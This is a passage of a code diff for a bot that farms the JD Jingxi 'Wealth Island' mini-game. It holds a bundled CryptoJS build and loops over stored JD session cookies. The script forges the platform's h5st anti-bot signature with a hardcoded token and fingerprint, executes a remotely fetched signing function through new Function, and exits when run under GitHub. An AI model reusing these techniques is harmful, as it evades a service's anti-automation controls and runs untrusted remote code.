2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t + }); + const $ = new Env("京喜财富岛热气球挂机"); + const JD_API_HOST = "https://m.jingxi.com/"; + const notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; + $.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; + $.notifyTime = $.getdata("cfd_notifyTime"); + $.result = []; + $.shareCodes = []; + let cookiesArr = [], cookie = '', token = ''; + + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + $.appId = 10028; + !(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; } -}; -exports.__esModule = true; -var date_fns_1 = require("date-fns"); -var axios_1 = require("axios"); -var TS_USER_AGENTS_1 = require("./TS_USER_AGENTS"); -var dotenv = require("dotenv"); -var CryptoJS = require('crypto-js'); -var crypto = require('crypto'); -var fs = require('fs'); -var notify = require('./sendNotify'); -dotenv.config(); -var appId = 10028, fingerprint, token, enCryptMethodJD; -var cookie = '', res = ''; -process.env.CFD_LOOP_DELAY ? console.log('设置延迟:', parseInt(process.env.CFD_LOOP_DELAY)) : console.log('设置延迟:10000~25000随机'); -var UserName, index; -!(function () { return __awaiter(void 0, void 0, void 0, function () { - var cookiesArr, filename, stream, fsHash, i, _a, isLogin, nickName, shell, _i, _b, s, j, e_1, t; - return __generator(this, function (_c) { - switch (_c.label) { - case 0: return [4 /*yield*/, requestAlgo()]; - case 1: - _c.sent(); - return [4 /*yield*/, TS_USER_AGENTS_1.requireConfig()]; - case 2: - cookiesArr = _c.sent(); - filename = __filename.split('/').pop(); - stream = fs.createReadStream(filename); - fsHash = crypto.createHash('md5'); - stream.on('data', function (d) { - fsHash.update(d); - }); - stream.on('end', function () { - var md5 = fsHash.digest('hex'); - console.log(filename + "\u7684MD5\u662F:", md5); - if (filename.indexOf('JDHelloWorld_jd_scripts_') > -1) { - filename = filename.replace('JDHelloWorld_jd_scripts_', ''); - } - axios_1["default"].get('https://api.sharecode.ga/api/md5?filename=' + filename) - .then(function (res) { - console.log('local: ', md5); - console.log('remote:', res.data); - if (md5 !== res.data) { - notify.sendNotify("Warning", filename + "\nMD5\u6821\u9A8C\u5931\u8D25\uFF01\u4F60\u7684\u811A\u672C\u7591\u4F3C\u88AB\u7BE1\u6539\uFF01"); - } - else { - console.log('MD5校验通过!'); - } - })["catch"](function () { - }); - }); - _c.label = 3; - case 3: - if (!1) return [3 /*break*/, 20]; - i = 0; - _c.label = 4; - case 4: - if (!(i < cookiesArr.length)) return [3 /*break*/, 18]; - cookie = cookiesArr[i]; - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)[1]); - index = i + 1; - return [4 /*yield*/, TS_USER_AGENTS_1.TotalBean(cookie)]; - case 5: - _a = _c.sent(), isLogin = _a.isLogin, nickName = _a.nickName; - if (!isLogin) { - notify.sendNotify(__filename.split('/').pop(), "cookie\u5DF2\u5931\u6548\n\u4EAC\u4E1C\u8D26\u53F7" + index + "\uFF1A" + (nickName || UserName)); - return [3 /*break*/, 17]; - } - console.log("\n\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7" + index + "\u3011" + (nickName || UserName) + "\n"); - _c.label = 6; - case 6: - _c.trys.push([6, 16, , 17]); - return [4 /*yield*/, speedUp('_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone')]; - case 7: - res = _c.sent(); - if (res.iRet !== 0) { - console.log('手动建造4个房子'); - return [3 /*break*/, 17]; - } - console.log('今日热气球:', res.dwTodaySpeedPeople, '/', 20); - return [4 /*yield*/, speedUp('_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 8: - shell = _c.sent(); - if (!shell.Data.hasOwnProperty('NormShell')) return [3 /*break*/, 15]; - _i = 0, _b = shell.Data.NormShell; - _c.label = 9; - case 9: - if (!(_i < _b.length)) return [3 /*break*/, 15]; - s = _b[_i]; - j = 0; - _c.label = 10; - case 10: - if (!(j < s.dwNum)) return [3 /*break*/, 14]; - return [4 /*yield*/, speedUp('_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', s.dwType)]; - case 11: - res = _c.sent(); - if (res.iRet !== 0) { - console.log(res); - return [3 /*break*/, 14]; - } - console.log('捡贝壳:', res.Data.strFirstDesc); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(500)]; - case 12: - _c.sent(); - _c.label = 13; - case 13: - j++; - return [3 /*break*/, 10]; - case 14: - _i++; - return [3 /*break*/, 9]; - case 15: return [3 /*break*/, 17]; - case 16: - e_1 = _c.sent(); - console.log(e_1); - return [3 /*break*/, 17]; - case 17: - i++; - return [3 /*break*/, 4]; - case 18: - t = process.env.CFD_LOOP_DELAY ? parseInt(process.env.CFD_LOOP_DELAY) : TS_USER_AGENTS_1.getRandomNumberByRange(1000 * 10, 1000 * 30); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(t)]; - case 19: - _c.sent(); - return [3 /*break*/, 3]; - case 20: return [2 /*return*/]; + let count = 0 + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + console.log('\n') + const loop_limit = $.isNode() ? (process.env.CFD_LOOP_LIMIT ? process.env.CFD_LOOP_LIMIT : 20) : ($.getdata('CFD_LOOP_LIMIT') ? $.getdata('CFD_LOOP_LIMIT') : 20) + while (count < loop_limit) { + count++ + console.log(`============开始第${count}次挂机=============`) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.log($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}) + continue + } + $.info = {} + token = await getJxToken() + await cfd(); + let time = process.env.CFD_LOOP_SLEEPTIME ? (process.env.CFD_LOOP_SLEEPTIME * 1 > 1000 ? process.env.CFD_LOOP_SLEEPTIME : process.env.CFD_LOOP_SLEEPTIME * 1000) : 5000 + await $.wait(time) } - }); -}); })(); -function speedUp(stk, dwType) { - var _this = this; - return new Promise(function (resolve, reject) { return __awaiter(_this, void 0, void 0, function () { - var url, data, e_2; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: - url = "https://m.jingxi.com/jxbfd/user/SpeedUp?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=&strBuildIndex=food&_ste=1&_=" + Date.now() + "&sceneval=2&_stk=" + encodeURIComponent(stk); - if (stk === '_cfd_t,bizCode,dwEnv,ptag,source,strZone') - url = "https://m.jingxi.com/jxbfd/story/queryshell?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=&_stk=_cfd_t%2CbizCode%2CdwEnv%2Cptag%2Csource%2CstrZone&_ste=1&_=" + Date.now() + "&sceneval=2"; - if (stk === '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone') - url = "https://m.jingxi.com/jxbfd/story/pickshell?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=&dwType=" + dwType + "&_stk=_cfd_t%2CbizCode%2CdwEnv%2CdwType%2Cptag%2Csource%2CstrZone&_ste=1&_=" + Date.now() + "&sceneval=2"; - url += '&h5st=' + decrypt(stk, url); - _a.label = 1; - case 1: - _a.trys.push([1, 3, , 4]); - return [4 /*yield*/, axios_1["default"].get(url, { - headers: { - 'Host': 'm.jingxi.com', - 'Referer': 'https://st.jingxi.com/', - 'User-Agent': TS_USER_AGENTS_1["default"], - 'Cookie': cookie - } - })]; - case 2: - data = (_a.sent()).data; - resolve(data); - return [3 /*break*/, 4]; - case 3: - e_2 = _a.sent(); - reject(502); - return [3 /*break*/, 4]; - case 4: return [2 /*return*/]; - } - }); - }); }); -} -function requestAlgo() { - return __awaiter(this, void 0, void 0, function () { - var _this = this; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: return [4 /*yield*/, generateFp()]; - case 1: - fingerprint = _a.sent(); - return [2 /*return*/, new Promise(function (resolve) { return __awaiter(_this, void 0, void 0, function () { - var data, enCryptMethodJDString; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: return [4 /*yield*/, axios_1["default"].post('https://cactus.jd.com/request_algo?g_ty=ajax', { - "version": "1.0", - "fp": fingerprint, - "appId": appId, - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }, { - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': TS_USER_AGENTS_1["default"], - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - } - })]; - case 1: - data = (_a.sent()).data; - if (data['status'] === 200) { - token = data.data.result.tk; - enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) - enCryptMethodJD = new Function("return " + enCryptMethodJDString)(); - } - else { - console.log("fp: " + fingerprint); - console.log('request_algo 签名参数API请求失败:'); - } - resolve(200); - return [2 /*return*/]; - } - }); - }); })]; - } - }); - }); -} -function decrypt(stk, url) { - var timestamp = (date_fns_1.format(new Date(), 'yyyyMMddhhmmssSSS')); - var hash1; - if (fingerprint && token && enCryptMethodJD) { - hash1 = enCryptMethodJD(token, fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + } } - else { - var random = '5gkjB6SpmC9s'; - token = "tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc"; - fingerprint = 9686767825751161; - // $.fingerprint = 7811850938414161; - var str = "" + token + fingerprint + timestamp + appId + random; - hash1 = CryptoJS.SHA512(str, token).toString(CryptoJS.enc.Hex); + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + + async function cfd() { + try { + const beginInfo = await getUserInfo(false); + if (beginInfo.Fund.ddwFundTargTm === 0) { + console.log(`还未开通活动,请先开通\n`) + return + } + if ($.info.buildInfo.dwTodaySpeedPeople !== 500) { + await $.wait(3000) + await speedUp() + } else { + console.log(`热气球接客已达上限,跳过执行\n`) + } + await $.wait(3000) + await queryshell() + } catch (e) { + $.logErr(e) } - var st = ''; - stk.split(',').map(function (item, index) { - st += item + ":" + getQueryString(url, item) + (index === stk.split(',').length - 1 ? '' : '&'); + } + + // 卖贝壳 + async function querystorageroom() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(3000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=1`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + // 捡贝壳 + async function queryshell() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/queryshell`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + for (let key of Object.keys(data.Data.NormShell)) { + let vo = data.Data.NormShell[key] + for (let j = 0; j < vo.dwNum; j++) { + await $.wait(3000) + await pickshell(`dwType=${vo.dwType}`) + } + } + console.log('') + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + async function pickshell(body) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/pickshell`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pickshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let dwName + switch (data.Data.strFirstDesc) { + case '捡到珍珠了,看起来很贵的样子': + dwName = '小珍珠' + break + case '捡到小海螺了,做成项链一定很漂亮': + dwName = 